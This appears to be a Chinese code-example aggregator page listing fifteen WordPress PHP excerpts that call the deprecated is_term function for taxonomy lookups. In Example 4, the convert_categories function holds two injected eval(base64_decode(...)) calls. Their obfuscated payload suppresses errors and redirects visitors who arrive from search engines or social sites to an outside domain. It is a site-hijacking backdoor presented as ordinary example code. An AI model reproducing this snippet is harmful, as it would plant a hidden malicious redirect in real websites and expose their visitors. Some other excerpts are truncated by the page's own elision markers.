本文整理匯總了PHP中is_term函數的典型用法代碼示例。如果您正苦於以下問題:PHP is_term函數的具體用法?PHP is_term怎麽用?PHP is_term使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。
在下文中一共展示了is_term函數的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的PHP代碼示例。
示例1: add_mediatags_alternate_link
function add_mediatags_alternate_link()
{
global $wp_version;
$mediatag_rss_feed = get_option('mediatag_rss_feed', 'yes');
if (!$mediatag_rss_feed || $mediatag_rss_feed != "yes") {
return;
}
$mediatag_var = get_query_var(MEDIA_TAGS_QUERYVAR);
//echo "mediatag_var<pre>"; print_r($mediatag_var); echo "</pre>";
if ($mediatag_var) {
if (version_compare($wp_version, '3.0', '<')) {
$mediatag_term = is_term($mediatag_var, MEDIA_TAGS_TAXONOMY);
} else {
$mediatag_term = term_exists($mediatag_var, MEDIA_TAGS_TAXONOMY);
}
if ($mediatag_term) {
$mediatag_term = get_term($mediatag_term['term_id'], MEDIA_TAGS_TAXONOMY);
$feed_title = get_bloginfo('name') . " » " . __('Media-Tags RSS Feed', MEDIA_TAGS_I18N_DOMAIN) . " » " . $mediatag_term->name;
$feed_link = get_mediatag_link($mediatag_term->term_id, true);
if ($feed_link) {
?>
<link id="MediaTagsRSS" rel="alternate" type="application/rss+xml"
title="<?php
echo $feed_title;
?>
"
href="<?php
echo $feed_link;
?>
" />
<?php
}
}
}
}
示例2: get_feature_price
public function get_feature_price($term_slug)
{
if (!is_term($term_slug, 'soya-range')) {
return;
}
if (soya_term_has_children($term_slug)) {
return;
}
// $this->feature_price = get_post_meta($this->_features_id, $this->get_feature_meta_key($term_slug), true);
}
示例3: import_post_exists
public function import_post_exists($idnumbers)
{
global $wpdb;
$post_id = FALSE;
$post_ids = $tt_ids = array();
foreach ($idnumbers as $idnum) {
$tt_ids[] = get_term((int) is_term((string) $idnum['id']), $idnum['type']);
}
if (count($tt_ids)) {
foreach ($tt_ids as $k => $tt_id) {
if (isset($tt_id->term_taxonomy_id)) {
$tt_ids[$k] = (int) $tt_id->term_taxonomy_id;
} else {
unset($tt_ids[$k]);
}
}
if (!count($tt_ids)) {
return FALSE;
}
$post_ids = $wpdb->get_col("SELECT object_id, COUNT(*) AS hits\n\t\t\t\tFROM {$wpdb->term_relationships}\n\t\t\t\tWHERE term_taxonomy_id IN ('" . implode('\',\'', $tt_ids) . "')\n\t\t\t\tGROUP BY object_id\n\t\t\t\tORDER BY hits DESC\n\t\t\t\tLIMIT 100");
if (1 < count($post_ids)) {
// de-index the duplicate posts
// TODO: what if they have comments? What if others have linked to them?
$this->import_deindex_post($post_ids);
// usleep( 250000 ); // give the database a moment to settle
}
foreach ($post_ids as $post_id) {
if (get_post($post_id)) {
return $post_id;
}
}
}
return FALSE;
}
示例4: convert_categories
function convert_categories()
{
global $wpdb;
if ((!isset($_POST['cats_to_convert']) || !is_array($_POST['cats_to_convert'])) && empty($this->categories_to_convert)) {
?>
<div class="narrow">
<p><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
printf(__('Uh, oh. Something didn’t work. Please <a href="%s">try again</a>.'), 'admin.php?import=wp-cat2tag');
?>
</p>
</div>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
return;
}
if (empty($this->categories_to_convert)) {
$this->categories_to_convert = $_POST['cats_to_convert'];
}
$hier = _get_term_hierarchy('category');
$hybrid_cats = $clear_parents = $parents = false;
$clean_term_cache = $clean_cat_cache = array();
$default_cat = get_option('default_category');
echo '<ul>';
foreach ((array) $this->categories_to_convert as $cat_id) {
$cat_id = (int) $cat_id;
if (!$this->_category_exists($cat_id)) {
echo '<li>' . sprintf(__('Category %s doesn’t exist!'), $cat_id) . "</li>\n";
} else {
$category =& get_category($cat_id);
echo '<li>' . sprintf(__('Converting category <strong>%s</strong> ... '), $category->name);
// If the category is the default, leave category in place and create tag.
if ($default_cat == $category->term_id) {
if (!($id = is_term($category->slug, 'post_tag'))) {
$id = wp_insert_term($category->name, 'post_tag', array('slug' => $category->slug));
}
$id = $id['term_taxonomy_id'];
$posts = get_objects_in_term($category->term_id, 'category');
$term_order = 0;
foreach ($posts as $post) {
$values[] = $wpdb->prepare("(%d, %d, %d)", $post, $id, $term_order);
clean_post_cache($post);
}
if ($values) {
$wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
$wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $category->count, $category->term_id));
}
echo __('Converted successfully.') . "</li>\n";
continue;
}
// if tag already exists, add it to all posts in the category
if ($tag_ttid = $wpdb->get_var($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'post_tag'", $category->term_id))) {
$objects_ids = get_objects_in_term($category->term_id, 'category');
$tag_ttid = (int) $tag_ttid;
$term_order = 0;
foreach ($objects_ids as $object_id) {
$values[] = $wpdb->prepare("(%d, %d, %d)", $object_id, $tag_ttid, $term_order);
}
if ($values) {
$wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
$count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->term_relationships} WHERE term_taxonomy_id = %d", $tag_ttid));
$wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $count, $category->term_id));
}
echo __('Tag added to all posts in this category.') . " *</li>\n";
$hybrid_cats = true;
$clean_term_cache[] = $category->term_id;
$clean_cat_cache[] = $category->term_id;
continue;
}
$tt_ids = $wpdb->get_col($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'category'", $category->term_id));
if ($tt_ids) {
$posts = $wpdb->get_col("SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN (" . join(',', $tt_ids) . ") GROUP BY object_id");
foreach ((array) $posts as $post) {
clean_post_cache($post);
}
}
// Change the category to a tag.
$wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET taxonomy = 'post_tag' WHERE term_id = %d AND taxonomy = 'category'", $category->term_id));
// Set all parents to 0 (root-level) if their parent was the converted tag
$parents = $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET parent = 0 WHERE parent = %d AND taxonomy = 'category'", $category->term_id));
if ($parents) {
$clear_parents = true;
}
$clean_cat_cache[] = $category->term_id;
echo __('Converted successfully.') . "</li>\n";
}
}
echo '</ul>';
if (!empty($clean_term_cache)) {
$clean_term_cache = array_unique(array_values($clean_term_cache));
clean_term_cache($clean_term_cache, 'post_tag');
}
if (!empty($clean_cat_cache)) {
$clean_cat_cache = array_unique(array_values($clean_cat_cache));
clean_term_cache($clean_cat_cache, 'category');
}
if ($clear_parents) {
delete_option('category_children');
}
if ($hybrid_cats) {
//.........這裏部分代碼省略.........
示例5: do_action_ref_array
//.........這裏部分代碼省略.........
$reqcat = get_category_by_path($q['category_name'], false);
}
if (!empty($reqcat)) {
$reqcat = $reqcat->term_id;
} else {
$reqcat = 0;
}
$q['cat'] = $reqcat;
$join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) ";
$whichcat = " AND {$wpdb->term_taxonomy}.taxonomy = 'category' ";
$in_cats = array($q['cat']);
$in_cats = array_merge($in_cats, get_term_children($q['cat'], 'category'));
$in_cats = "'" . implode("', '", $in_cats) . "'";
$whichcat .= "AND {$wpdb->term_taxonomy}.term_id IN ({$in_cats})";
$groupby = "{$wpdb->posts}.ID";
}
// Tags
if ('' != $q['tag']) {
if (strpos($q['tag'], ',') !== false) {
$tags = preg_split('/[,\\s]+/', $q['tag']);
foreach ((array) $tags as $tag) {
$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
$q['tag_slug__in'][] = $tag;
}
} else {
if (preg_match('/[+\\s]+/', $q['tag'])) {
$tags = preg_split('/[+\\s]+/', $q['tag']);
foreach ((array) $tags as $tag) {
$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
$q['tag_slug__and'][] = $tag;
}
} else {
$q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db');
$reqtag = is_term($q['tag'], 'post_tag');
if (!empty($reqtag)) {
$reqtag = $reqtag['term_id'];
} else {
$reqtag = 0;
}
$q['tag_id'] = $reqtag;
$q['tag__in'][] = $reqtag;
}
}
}
if (!empty($q['tag__in']) || !empty($q['tag__not_in']) || !empty($q['tag__and']) || !empty($q['tag_slug__in']) || !empty($q['tag_slug__and'])) {
$groupby = "{$wpdb->posts}.ID";
}
if (!empty($q['tag__in'])) {
$join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) ";
$whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' ";
$include_tags = "'" . implode("', '", $q['tag__in']) . "'";
$whichcat .= " AND {$wpdb->term_taxonomy}.term_id IN ({$include_tags}) ";
$reqtag = is_term($q['tag__in'][0], 'post_tag');
if (!empty($reqtag)) {
$q['tag_id'] = $reqtag['term_id'];
}
}
if (!empty($q['tag_slug__in'])) {
$join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) LEFT JOIN {$wpdb->terms} ON ({$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id) ";
$whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' ";
$include_tags = "'" . implode("', '", $q['tag_slug__in']) . "'";
$whichcat .= " AND {$wpdb->terms}.slug IN ({$include_tags}) ";
$reqtag = is_term($q['tag_slug__in'][0], 'post_tag');
if (!empty($reqtag)) {
$q['tag_id'] = $reqtag['term_id'];
}
示例6: get_page
?>
<?php
}
?>
<div class="slide-nav">
<div class="itemhead"></div>
<div class="slide-nav-content">
<?php
$page_data = get_page($_GET['page_id']);
$page_id = $_GET['page_id'];
$title = $page_data->post_title;
$cat_to_check = get_term_by('cat_name', $title, 'category');
if (!is_term($title, 'category')) {
$category = get_the_category($page_id);
$title = $category[0]->cat_name;
}
?>
<?php
query_posts('category_name=' . $title . '&orderby=ID&order=ASC');
$covers = get_slideshow_covers($title);
$count = 0;
?>
<!-- begin SlidingPanel -->
<div id="newsTicker">
<div id="ticker" class="SlidingPanels">
<?php
while (have_posts()) {
示例7: getSelectCategoryByCName
/**
* selectのoptionタグで返す
*/
public function getSelectCategoryByCName($cname, $name = '')
{
$str = "";
$base_cat_arr = is_term($cname, 'category');
$cid = $base_cat_arr['term_id'];
$cat_arr = self::getObjsFromCID($cid);
$selected_val = 0;
if ($name != '') {
if (isset($_REQUEST[$name]) && $_REQUEST[$name] != '') {
$selected_val = intval($_REQUEST[$name]);
}
}
//$str .= sprintf("<select name=\"%s\">", $this->name);
//$str .= sprintf("<option value=\"\">%s/option>", $cname);
foreach ($cat_arr as $item) {
$selected_str = '';
if ($selected_val == $item->term_id) {
$selected_str = ' selected="selected" ';
}
$str .= sprintf("<option value=\"%d\" %s>%s</option>\n", $item->term_id, $selected_str, $item->name);
}
// $str .= "</select>\n";
return $str;
}
示例8: tag_exists
function tag_exists($tag_name) {
return is_term($tag_name, 'post_tag');
}
示例9: check_ajax_referer
break;
case 'add-link-category':
// On the Fly
check_ajax_referer($action);
if (!current_user_can('manage_categories')) {
die('-1');
}
$names = explode(',', $_POST['newcat']);
$x = new WP_Ajax_Response();
foreach ($names as $cat_name) {
$cat_name = trim($cat_name);
$slug = sanitize_title($cat_name);
if ('' === $slug) {
continue;
}
if (!($cat_id = is_term($cat_name, 'link_category'))) {
$cat_id = wp_insert_term($cat_name, 'link_category');
}
$cat_id = $cat_id['term_id'];
$cat_name = esc_html(stripslashes($cat_name));
$x->add(array('what' => 'link-category', 'id' => $cat_id, 'data' => "<li id='link-category-{$cat_id}'><label for='in-link-category-{$cat_id}' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-{$cat_id}'/> {$cat_name}</label></li>", 'position' => -1));
}
$x->send();
break;
case 'add-cat':
// From Manage->Categories
check_ajax_referer('add-category');
if (!current_user_can('manage_categories')) {
die('-1');
}
if ('' === trim($_POST['cat_name'])) {
示例10: term_exists
/**
* Compatibility wrapper for WordPress term lookup.
*/
function term_exists($term, $taxonomy = '', $parent = 0)
{
if (function_exists('term_exists')) {
// 3.0 or later
return term_exists($term, $taxonomy, $parent);
} else {
return is_term($term, $taxonomy, $parent);
}
}
示例11: add_coauthors
function add_coauthors($post_ID, $coauthors, $append = false)
{
global $current_user;
$post_ID = (int) $post_ID;
// if an array isn't returned, create one and populate with default author
if (!is_array($coauthors) || 0 == count($coauthors) || empty($coauthors)) {
// @TOOD: create option for default author
$coauthors = array(get_option('default_author'));
}
// Add each co-author to the post meta
foreach (array_unique($coauthors) as $author) {
// Name and slug of term are the username;
$name = $author;
// Add user as a term if they don't exist
if (!is_term($name, $this->coauthor_taxonomy)) {
$args = array('slug' => sanitize_title($name));
$insert = wp_insert_term($name, $this->coauthor_taxonomy, $args);
}
}
// Add authors as post terms
if (!is_wp_error($insert)) {
$set = wp_set_post_terms($post_ID, $coauthors, $this->coauthor_taxonomy, $append);
} else {
// @TODO: error
}
}
示例12: jobman_upgrade_db
function jobman_upgrade_db($oldversion)
{
global $wpdb;
$options = get_option('jobman_options');
if ($oldversion < 4) {
// Fix any empty slugs in the category list.
$sql = "SELECT * FROM {$wpdb->prefix}jobman_categories ORDER BY id;";
$categories = $wpdb->get_results($sql, ARRAY_A);
if (count($categories) > 0) {
foreach ($categories as $cat) {
if ('' == $cat['slug']) {
$slug = strtolower($cat['title']);
$slug = str_replace(' ', '-', $slug);
$sql = $wpdb->prepare("UPDATE {$wpdb->prefix}jobman_categories SET slug=%s WHERE id=%d;", $slug, $id);
$wpdb->query($sql);
}
}
}
}
if ($oldversion < 5) {
// Re-write the database to use the existing WP tables
// Create the root jobs page
$page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => $options['page_name'], 'post_title' => __('Jobs Listing', 'jobman'), 'post_content' => __('Hi! This page is used by your Job Manager plugin as a base. Feel free to change settings here, but please do not delete this page. Also note that any content you enter here will not show up when this page is displayed on your site.', 'jobman'), 'post_type' => 'page');
$mainid = wp_insert_post($page);
$options['main_page'] = $mainid;
// Move the categories to WP categories
$sql = "SELECT * FROM {$wpdb->prefix}jobman_categories;";
$categories = $wpdb->get_results($sql, ARRAY_A);
$oldcats = array();
$newcats = array();
if (count($categories) > 0) {
foreach ($categories as $cat) {
$oldcats[] = $cat['id'];
$catid = wp_insert_term($cat['title'], 'jobman_category', array('slug' => $cat['slug'], 'description' => $cat['email']));
$newcats[] = $catid;
}
}
// Create a page for each category, so we have somewhere to store the applications
$catpages = array();
foreach ($categories as $cat) {
$page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => $cat['slug'], 'post_title' => $cat['title'], 'post_type' => 'jobman_joblist', 'post_parent' => $mainid);
$id = wp_insert_post($page);
$catpages[] = $id;
add_post_meta($id, '_catpage', 1, true);
add_post_meta($id, '_cat', $newcats[array_search($cat['id'], $oldcats)], true);
}
// Move the jobs to posts
$oldjobids = array();
$newjobids = array();
$sql = "SELECT * FROM {$wpdb->prefix}jobman_jobs;";
$jobs = $wpdb->get_results($sql, ARRAY_A);
if (count($jobs) > 0) {
foreach ($jobs as $job) {
$oldjobids[] = $job['id'];
$page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => $job['abstract'], 'post_name' => strtolower(str_replace(' ', '-', $job['title'])), 'post_title' => $job['title'], 'post_type' => 'jobman_job', 'post_date' => $job['displaystartdate'], 'post_parent' => $mainid);
$id = wp_insert_post($page);
$newjobids[] = $id;
add_post_meta($id, 'salary', $job['salary'], true);
add_post_meta($id, 'startdate', $job['startdate'], true);
add_post_meta($id, 'enddate', $job['enddate'], true);
add_post_meta($id, 'location', $job['location'], true);
add_post_meta($id, 'displayenddate', $job['displayenddate'], true);
add_post_meta($id, 'iconid', $job['iconid'], true);
// Get the old category ids
$cats = array();
$sql = $wpdb->prepare("SELECT c.id AS id FROM {$wpdb->prefix}jobman_categories AS c LEFT JOIN {$wpdb->prefix}jobman_job_category AS jc ON c.id=jc.categoryid WHERE jc.jobid=%d;", $job['id']);
$data = $wpdb->get_results($sql, ARRAY_A);
if (count($data) > 0) {
foreach ($data as $cat) {
// Make an array of the new category ids
if (is_term($newcats[array_search($cat['id'], $oldcats)], 'jobman_category')) {
wp_set_object_terms($id, $newcats[array_search($cat['id'], $oldcats)], 'jobman_category', true);
}
}
}
}
}
// Move the icons to jobman_options
$options['icons'] = array();
$sql = "SELECT * FROM {$wpdb->prefix}jobman_icons ORDER BY id;";
$icons = $wpdb->get_results($sql, ARRAY_A);
if (count($icons) > 0) {
foreach ($icons as $icon) {
$options['icons'][$icon['id']] = array('title' => $icon['title'], 'extension' => $icon['extension']);
}
}
// Move the application fields to jobman_options
$options['fields'] = array();
$sql = "SELECT af.*, (SELECT COUNT(*) FROM {$wpdb->prefix}jobman_application_field_categories AS afc WHERE afc.afid=af.id) AS categories FROM {$wpdb->prefix}jobman_application_fields AS af ORDER BY af.sortorder ASC;";
$fields = $wpdb->get_results($sql, ARRAY_A);
if (count($fields) > 0) {
foreach ($fields as $field) {
$options['fields'][$field['id']] = array('label' => $field['label'], 'type' => $field['type'], 'listdisplay' => $field['listdisplay'], 'data' => $field['data'], 'filter' => $field['filter'], 'error' => $field['error'], 'sortorder' => $field['sortorder'], 'categories' => array());
if ($field['categories'] > 0) {
// This field is restricted to certain categories
$sql = "SELECT categoryid FROM {$wpdb->prefix}jobman_application_field_categories WHERE afid={$field['id']};";
$field_categories = $wpdb->get_results($sql, ARRAY_A);
if (count($categories) > 0) {
foreach ($categories as $cat) {
foreach ($field_categories as $fc) {
//.........這裏部分代碼省略.........
示例13: explode
$error = false;
$tag = $_POST['tag'];
$postid = $_POST['postid'];
$taxonomy = 'post_tag';
// Check values, then process.
if (!$postid || $postid == '') {
$error .= 'No post id was provided\\n';
} else {
if (!$tag || $tag == '') {
$error .= 'No tag was provided\\n';
} else {
if ($_POST['action'] == 'ITT_ProcessTag') {
$tags = explode(',', $tag);
foreach ($tags as $solotag) {
$solotag = trim($solotag);
$check = is_term($solotag, $taxonomy);
if (is_null($check)) {
$args = array();
$tag = wp_insert_term($solotag, $taxonomy);
$tagid = $tag['term_id'];
} else {
$tagid = $check['term_id'];
}
wp_set_object_terms($postid, $tagid * 1, $taxonomy, true);
}
} else {
if ($_POST['action'] == 'ITT_ProcessRemoveTag') {
$terms = wp_get_object_terms($postid, $taxonomy);
$keep = array();
foreach ($terms as $term) {
if ($term->term_id != $tag) {
示例14: renameTags
function renameTags( $old = '', $new = '' ) {
if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
$this->message = __('No new tag specified!', 'simpletags');
$this->status = 'error';
return;
}
// String to array
$old_tags = explode(',', $old);
$new_tags = explode(',', $new);
// Remove empty element and trim
$old_tags = array_filter($old_tags, array(&$this, 'deleteEmptyElement'));
$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
// If old/new tag are empty => exit !
if ( empty($old_tags) || empty($new_tags) ) {
$this->message = __('No new/old valid tag specified!', 'simpletags');
$this->status = 'error';
return;
}
$counter = 0;
if( count($old_tags) == count($new_tags) ) { // Rename only
foreach ( (array) $old_tags as $i => $old_tag ) {
$new_name = $new_tags[$i];
// Get term by name
$term = get_term_by('name', $old_tag, 'post_tag');
if ( !$term ) {
continue;
}
// Get objects from term ID
$objects_id = get_objects_in_term( $term->term_id, 'post_tag', array('fields' => 'all_with_object_id'));
// Delete old term
wp_delete_term( $term->term_id, 'post_tag' );
// Set objects to new term ! (Append no replace)
foreach ( (array) $objects_id as $object_id ) {
wp_set_object_terms( $object_id, $new_name, 'post_tag', true );
}
// Clean cache
clean_object_term_cache( $objects_id, 'post_tag');
clean_term_cache($term->term_id, 'post_tag');
// Increment
$counter++;
}
if ( $counter == 0 ) {
$this->message = __('No tag renamed.', 'simpletags');
} else {
$this->message = sprintf(__('Renamed tag(s) «%1$s» to «%2$s»', 'simpletags'), $old, $new);
}
}
elseif ( count($new_tags) == 1 ) { // Merge
// Set new tag
$new_tag = $new_tags[0];
if ( empty($new_tag) ) {
$this->message = __('No valid new tag.', 'simpletags');
$this->status = 'error';
return;
}
// Get terms ID from old terms names
$terms_id = array();
foreach ( (array) $old_tags as $old_tag ) {
$term = get_term_by('name', addslashes($old_tag), 'post_tag');
$terms_id[] = (int) $term->term_id;
}
// Get objects from terms ID
$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id'));
// No objects ? exit !
if ( !$objects_id ) {
$this->message = __('No objects (post/page) found for specified old tags.', 'simpletags');
$this->status = 'error';
return;
}
// Delete old terms
foreach ( (array) $terms_id as $term_id ) {
wp_delete_term( $term_id, 'post_tag' );
}
// Set objects to new term ! (Append no replace)
foreach ( (array) $objects_id as $object_id ) {
wp_set_object_terms( $object_id, $new_tag, 'post_tag', true );
$counter++;
}
// Test if term is also a category
if ( is_term($new_tag, 'category') ) {
// Edit the slug to use the new term
$this->editTagSlug( $new_tag, sanitize_title($new_tag) );
}
//.........這裏部分代碼省略.........
示例15: jobman_display_jobs
function jobman_display_jobs($posts)
{
global $wp_query, $wpdb, $jobman_displaying, $jobman_finishedpage, $sitepress, $wp_rewrite;
if ($jobman_finishedpage || $jobman_displaying) {
return $posts;
}
// Hack to fix Mystique theme CSS
if (array_key_exists('mystique', $wp_query->query_vars) && 'css' == $wp_query->query_vars['mystique']) {
return $posts;
}
$options = get_option('jobman_options');
$post = NULL;
$displaycat = false;
if (array_key_exists('jobman_data', $wp_query->query_vars) && !array_key_exists('jobman_page', $wp_query->query_vars)) {
if (is_term($wp_query->query_vars['jobman_data'], 'jobman_category')) {
$wp_query->query_vars['jcat'] = $wp_query->query_vars['jobman_data'];
} else {
$sql = "SELECT * FROM {$wpdb->posts} WHERE post_type='jobman_job' AND post_name=%s;";
$sql = $wpdb->prepare($sql, $wp_query->query_vars['jobman_data']);
$data = $wpdb->get_results($sql, OBJECT);
if (count($data) > 0) {
$wp_query->query_vars['page_id'] = $data[0]->ID;
} else {
return $posts;
}
}
}
if (!array_key_exists('jcat', $wp_query->query_vars)) {
if (isset($wp_query->query_vars['jobman_root_id'])) {
$post = get_post($wp_query->query_vars['jobman_root_id']);
} else {
if (isset($wp_query->query_vars['page_id'])) {
$post = get_post($wp_query->query_vars['page_id']);
}
}
if ($post == NULL || !isset($wp_query->query_vars['jobman_page']) && $post->ID != $options['main_page'] && !in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) {
return $posts;
}
}
// We're going to be displaying a Job Manager page.
$jobman_displaying = true;
$wp_query->is_home = false;
remove_filter('the_content', 'wpautop');
// Hack to kill WPML on Job Manager pages. Need to add proper support later.
if (defined('ICL_SITEPRESS_VERSION') && !empty($sitepress)) {
remove_filter('posts_join', array($sitepress, 'posts_join_filter'));
remove_filter('posts_where', array($sitepress, 'posts_where_filter'));
}
if (NULL != $post) {
$postmeta = get_post_custom($post->ID);
$postcats = wp_get_object_terms($post->ID, 'jobman_category');
$postdata = array();
foreach ($postmeta as $key => $value) {
if (is_array($value)) {
$postdata[$key] = $value[0];
} else {
$postdata[$key] = $value;
}
}
}
if (array_key_exists('jobman_register', $wp_query->query_vars)) {
jobman_register();
} else {
if (array_key_exists('jobman_username', $wp_query->query_vars)) {
jobman_login();
}
}
global $jobman_data;
$jobman_data = '';
if (array_key_exists('jobman_data', $wp_query->query_vars)) {
$jobman_data = $wp_query->query_vars['jobman_data'];
} else {
if (array_key_exists('j', $wp_query->query_vars)) {
$jobman_data = $wp_query->query_vars['j'];
} else {
if (array_key_exists('c', $wp_query->query_vars)) {
$jobman_data = $wp_query->query_vars['c'];
}
}
}
if (array_key_exists('jcat', $wp_query->query_vars)) {
// We're looking at a category
$cat = get_term_by('slug', $wp_query->query_vars['jcat'], 'jobman_category');
$posts = jobman_display_jobs_list($cat->term_id);
if (count($posts) > 0) {
